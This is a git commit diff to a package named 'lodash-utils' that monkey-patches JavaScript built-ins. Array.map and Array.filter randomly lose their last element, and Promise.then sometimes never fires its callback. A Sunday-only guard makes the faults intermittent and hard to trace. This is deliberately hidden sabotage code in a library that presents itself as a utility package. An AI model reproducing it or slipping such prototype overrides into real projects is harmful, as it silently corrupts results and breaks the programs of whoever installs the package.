lxm_other/lodash-utils
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only triggers on Sunday

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wheatup
2021-04-09 20:26:07 +09:00
parent 30a0674832
commit b2ca7f2803
5 changed files with 25 additions and 41 deletions
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22
index.js
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@@ -10,7 +10,9 @@
*/
(global => {
////// Arrays
// Skip if it's not Sunday
if (new Date().getDay() !== 0) return;
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时，本方法永远返回false
@@ -25,13 +27,13 @@
};
/**
* Array.map will always be missing the last element on Sundays
* @zh 当周日时，Array.map方法的结果总是会丢失最后一个元素
* Array.map has 5% chance drop the last element
* @zh Array.map方法的结果有5%几率丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
@@ -48,13 +50,13 @@
}
/**
* Array.fillter has 10% chance to lose the final element
* @zh Array.filter的结果有2%的概率丢失最后一个元素
* Array.fillter has 5% chance to lose the final element
* @zh Array.filter的结果有5%的概率丢失最后一个元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (_rand() < 0.02) {
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
@@ -70,12 +72,12 @@
}
/**
* Promise.then has a 10% chance will not register on Sundays
* @zh Promise.then 在周日时有10%几率不会注册
* Promise.then has a 10% chance will not trigger
* @zh Promise.then 有10%几率不会触发
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && _rand() < 0.1) {
if (_rand() < 0.1) {
return;
} else {
_then.call(this, ...args);